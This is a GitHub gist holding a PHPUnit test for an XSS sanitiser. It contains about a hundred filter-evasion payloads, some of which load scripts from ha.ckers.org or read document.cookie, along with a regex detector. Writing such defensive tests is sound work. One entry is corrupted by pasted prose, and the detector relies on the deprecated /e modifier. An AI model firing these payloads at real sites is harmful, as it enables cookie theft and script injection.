Last active
April 23, 2020 16:17
-
-
Save andybeak/5a7a17f7665262daab6b to your computer and use it in GitHub Desktop.
PHPunit test for a permissive xss routine
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* | |
* There are use cases where using filter_var( FILTER_SANITIZE_STRING ) is not desireable because it is too greedy. | |
* In the event that you have written a more permissive xss cleaning routine this unit test can be used to test your | |
* cleaning routine. The list of attack vectors is not comprehensive but should give you a good start. | |
* | |
* The detection routine below is based on https://github.com/symphonycms/xssfilter/blob/master/extension.driver.php | |
* and on https://gist.github.com/mbijon/1098477 | |
* | |
* Currently the detection routine needs work as some attack strings are modified to the point where they no longer | |
* contain a vector when tested against the patterns. | |
*/ | |
class xssTest extends PHPUnit_Framework_TestCase | |
{ | |
/** | |
* @dataProvider workingStringsProvider | |
*/ | |
public function testWorkingStrings($testString){ | |
$this->assertEquals( $testString, Xss::xssClean( $testString ), 'These strings are safe and should be returned without modification' ); | |
} | |
public static function workingStringsProvider(){ | |
// these strings should be returned without modification - they are not attacks | |
return array( | |
array('<Pass+word!@#$%^&*()-/\\>' ), | |
array('<div><strong><p>acceptable markup</p><p>should be left alone</p></strong></div>'), | |
array('<div>but what about broken markup</div'), | |
array( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed malesuada nec ex eu volutpat. Vestibulum varius odio a congue sagittis.' ), | |
array( 'https://www.securewebaddress.com' ), | |
array( 'http://www.httpwebaddress.com'), | |
array( 'http://www.web.com/default.asp?TEST=foo&MSG=URL%20ECODED%20STUFF%20get%20variables.' ), | |
); | |
} | |
/** | |
* @dataProvider attackVectorProvider | |
*/ | |
public function testXssDetect($attackVector){ | |
// $this->assertTrue($this->detectXss($attackVector)); | |
} | |
/** | |
* @dataProvider attackVectorProvider | |
*/ | |
public function testXssClean($attackVector){ | |
$this->assertFalse($this->detectXss(Xss::xssClean($attackVector)), 'We expect the vector to be cleaned'); | |
} | |
public static function attackVectorProvider() | |
{ | |
// see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet | |
return array( | |
array( '<iframe src="javascript:alert(\'Xss\')";></iframe>' ), | |
array( "'';!--\"<XSS>=&{()}" ), | |
array( '<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>' ), | |
array( '<IMG SRC="javascript:alert(\'XSS\');">' ), | |
array( '<IMG SRC=javascript:alert(\'XSS\')>' ), | |
array( '<IMG SRC=JaVaScRiPt:alert(\'XSS\')>' ), | |
array( '<IMG SRC=javascript:alert(\"XSS\")>' ), | |
array( '<IMG SRC=`javascript:alert("RSnake says, \'XSS\'")`>' ), | |
array( '<a onmouseover="alert(document.cookie)">xxs link</a>' ), | |
array( '<IMG """><SCRIPT>alert("XSS")</SCRIPT>">' ), | |
array( '<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>' ), | |
array( '<IMG SRC=# onmouseover="alert(\'xxs\')">' ), | |
array( '<IMG SRC= onmouseover="alert(\'xxs\')">' ), | |
array( '<IMG onmouseover="alert(\'xxs\')">' ), | |
array( '<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>' ), | |
array( '<IMG SRC=javascript:alert( | |
'XSS')>' ), | |
array( '<IMG SRC=javascript:a& | |
#0000108ert('XSS')>' ), | |
array( '<IMG SRC=javascript:alert('XSS')>' ), | |
array( '<IMG SRC="jav ascript:alert(\'XSS\');">' ), | |
array( '<IMG SRC="jav	ascript:alert(\'XSS\');">' ), | |
array( '<IMG SRC="jav
ascript:alert(\'XSS\');">' ), | |
array( '<IMG SRC="jav
ascript:alert(\'XSS\');">' ), | |
array( "<IMG SRC=java\0script:alert(\"XSS\")>" ), | |
array( '<IMG SRC="  javascript:alert(\'XSS\');">' ), | |
array( '<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ), | |
array( '<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>' ), | |
array( '<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ), | |
array( '<<SCRIPT>alert("XSS");//<</SCRIPT>' ), | |
array( '<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >' ), | |
array( '<SCRIPT SRC=//ha.ckers.org/.j>' ), | |
array( '<IMG SRC="javascript:alert(\'XSS\')"' ), | |
array( '\";alert(\'XSS\');//' ), | |
array( '</TITLE><SCRIPT>alert("XSS");</SCRIPT>' ), | |
array( '<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">' ), | |
array( '<BODY BACKGROUND="javascript:alert(\'XSS\')">' ), | |
array( '<IMG DYNSRC="javascript:alert(\'XSS\')">' ), | |
array( '<IMG LOWSRC="javascript:alert(\'XSS\')">' ), | |
array( '<STYLE>li {list-style-image: url("javascript:alert(\'XSS\')");}</STYLE><UL><LI>XSS</br>' ), | |
array( '<IMG SRC=\'vbscript:msgbox("XSS")\'>' ), | |
array( '<IMG SRC="livescript:[code]">' ), | |
array( '<BODY ONLOAD=alert(\'XSS\')>' ), | |
array( 'onClick(alert(\'XSS\'))' ), // not using all of the on variations | |
array( '<BGSOUND SRC="javascript:alert(\'XSS\');">' ), | |
array( '<BR SIZE="&{alert(\'XSS\')}">' ), | |
array( '<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">' ), | |
array( '<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">' ), | |
array( '<STYLE>@import\'http://ha.ckers.org/xss.css\';</STYLE>' ), | |
array( '<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">' ), | |
array( '<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>' ), | |
array( '<STYLE>@im\port\'\\ja\\vasc\\ript:alert("XSS")\';</STYLE>' ), | |
array( '<IMG STYLE="xss:expr/*XSS*/ession(alert(\'XSS\'))">' ), | |
array( 'exp/*<A STYLE=\'no\xss:noxss("*//*");' ), | |
array( '<STYLE TYPE="text/javascript">alert(\'XSS\');</STYLE>' ), | |
array( '<STYLE>.XSS{background-image:url("javascript:alert(\'XSS\')");}</STYLE><A CLASS=XSS></A>' ), | |
array( '<STYLE type="text/css">BODY{background:url("javascript:alert(\'XSS\')")}</STYLE>' ), | |
array( '<XSS STYLE="xss:expression(alert(\'XSS\'))">' ), | |
array( '<XSS STYLE="behavior: url(xss.htc);">' ), | |
array( '<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">' ), | |
array( '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">' ), | |
array( '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(\'XSS\');">' ), | |
array( '<IFRAME SRC="javascript:alert(\'XSS\');"></IFRAME>' ), | |
array( '<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>' ), | |
array( '<FRAMESET><FRAME SRC="javascript:alert(\'XSS\');"></FRAMESET>' ), | |
array( '<TABLE BACKGROUND="javascript:alert(\'XSS\')">' ), | |
array( '<TABLE><TD BACKGROUND="javascript:alert(\'XSS\')">' ), | |
array( '<DIV STYLE="background-image: url(javascript:alert(\'XSS\'))">' ), | |
array( '<DIV STYLE="background-image:\\0075\\0072\\006C\\0028\'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029\'\\0029">' ), | |
array( '<DIV STYLE="background-image: url(javascript:alert(\'XSS\'))">' ), | |
array( '<DIV STYLE="width: expression(alert(\'XSS\'));">' ), | |
array( '<BASE HREF="javascript:alert(\'XSS\');//">' ), | |
array( '<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>' ), | |
array( 'EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).: | |
org/xss.swf" AllowScriptAccess="always"></EMBED>' ), | |
array( '<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>' ), | |
array( 'c="javascript:";' ), | |
array( '<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(\'XSS\')"></B></I></XML>' ), | |
array( '<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>' ), | |
array( '<XML SRC="xsstest.xml" ID=I></XML>' ), | |
array( '<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>' ), | |
array( '<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>' ), | |
array( '<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">' ), | |
array( '<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>' ), | |
array( '<!--#exec cmd="/bin/echo \'<SCR\'"--><!--#exec cmd="/bin/echo \'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\'"-->' ), | |
array( '<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">' ), | |
array( '<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(\'XSS\')</SCRIPT>">' ), | |
array( '<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-' ), | |
array( '<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ), | |
array( '<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ), | |
array( '<SCRIPT a=">" \'\' SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ), | |
array( '<SCRIPT "a=\'>\'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ), | |
array( '<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ), | |
array( '<SCRIPT a=">\'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ), | |
array( '<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ), | |
array( '($_POST >"\'><script>alert(‘XSS\')</script>' ), | |
array( '$_POST >%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>' ), | |
array( '>"\'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>' ), | |
array( 'AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22' ), | |
array( '%22%2Balert(%27XSS%27)%2B%22' ), | |
array( '<table background="javascript:alert(([code])"></table>' ), | |
array( '<object type=text/html data="javascript:alert(([code]);"></object>' ), | |
array( '<body onload="javascript:alert(([code])"></body>' ) | |
); | |
} | |
/** | |
* Given a string, this function will determine if it potentially an | |
* XSS attack and return boolean. | |
* | |
* @author https://github.com/symphonycms/xssfilter/blob/master/extension.driver.php | |
* | |
* @param string $string The string to run XSS detection logic on | |
* @return boolean True if the given `$string` contains XSS, false otherwise. | |
* | |
*/ | |
private function detectXSS( $string ){ | |
$contains_xss = false; | |
// Skip any null or non string values | |
if(is_null($string) || !is_string($string) ){ | |
return $contains_xss; | |
} | |
// Keep a copy of the original string before cleaning up | |
$orig = $string; | |
// URL decode | |
$string = urldecode($string); | |
// Convert Hexadecimals | |
$string = preg_replace('!(&#|\\\)[xX]([0-9a-fA-F]+);?!e','chr(hexdec("$2"))', $string); | |
// Clean up entities | |
$string = preg_replace('!(�+[0-9]+)!','$1;',$string); | |
// Decode entities | |
$string = html_entity_decode($string, ENT_NOQUOTES, 'UTF-8'); | |
// Strip whitespace characters | |
$string = preg_replace('!\s!','',$string); | |
// Fix &entity\n; | |
$string = str_replace(array('&','<','>'), array('&amp;','&lt;','&gt;' ), $string); | |
$string = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $string); | |
$string = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $string); | |
$string = html_entity_decode($string, ENT_COMPAT, 'UTF-8'); | |
// Set the patterns we'll test against | |
$patterns = array( | |
// Match any attribute starting with "on" or xmlns | |
'#(<[^>]+[\x00-\x20\"\'\/])(on|xmlns)[^>]*>?#iUu', | |
// Match javascript:, livescript:, vbscript: and mocha: protocols | |
'!((java|live|vb)script|mocha|feed|data):(\w)*!iUu', | |
'#-moz-binding[\x00-\x20]*:#u', | |
// Match style attributes | |
'#(<[^>]+[\x00-\x20\"\'\/])style=[^>]*>?#iUu', | |
// Match unneeded tags | |
'#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i' | |
); | |
foreach($patterns as $pattern){ | |
// Test both the original string and clean string | |
if( preg_match($pattern, $string) || preg_match($pattern, $orig)){ | |
$contains_xss = true; | |
} | |
if ($contains_xss === true){ | |
return true; | |
} | |
} | |
return false; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment